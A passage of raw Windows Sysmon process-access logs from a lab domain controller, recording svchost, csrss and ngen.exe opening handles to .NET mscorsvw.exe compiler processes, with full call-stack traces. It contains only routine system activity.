v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.867{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8A-613B-D20A-00000000F001}5328C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.852{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8A-613B-D20A-00000000F001}5328C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.852{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8A-613B-D20A-00000000F001}5328C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.805{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8A-613B-D10A-00000000F001}5512C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.805{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F8A-613B-D10A-00000000F001}5512C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.805{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8A-613B-D10A-00000000F001}5512C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.758{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8A-613B-D00A-00000000F001}6520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.758{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F8A-613B-D00A-00000000F001}6520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.758{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8A-613B-D00A-00000000F001}6520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.695{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8A-613B-CF0A-00000000F001}6192C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.680{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F8A-613B-CF0A-00000000F001}6192C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.680{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8A-613B-CF0A-00000000F001}6192C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.648{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8A-613B-CE0A-00000000F001}2596C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.633{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F8A-613B-CE0A-00000000F001}2596C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.633{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8A-613B-CE0A-00000000F001}2596C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.602{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8A-613B-CD0A-00000000F001}6908C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.586{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8A-613B-CD0A-00000000F001}6908C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.586{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8A-613B-CD0A-00000000F001}6908C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.523{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8A-613B-CC0A-00000000F001}5940C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.508{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8A-613B-CC0A-00000000F001}5940C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.508{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8A-613B-CC0A-00000000F001}5940C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.461{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8A-613B-CB0A-00000000F001}6576C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.461{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F8A-613B-CB0A-00000000F001}6576C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.461{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8A-613B-CB0A-00000000F001}6576C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0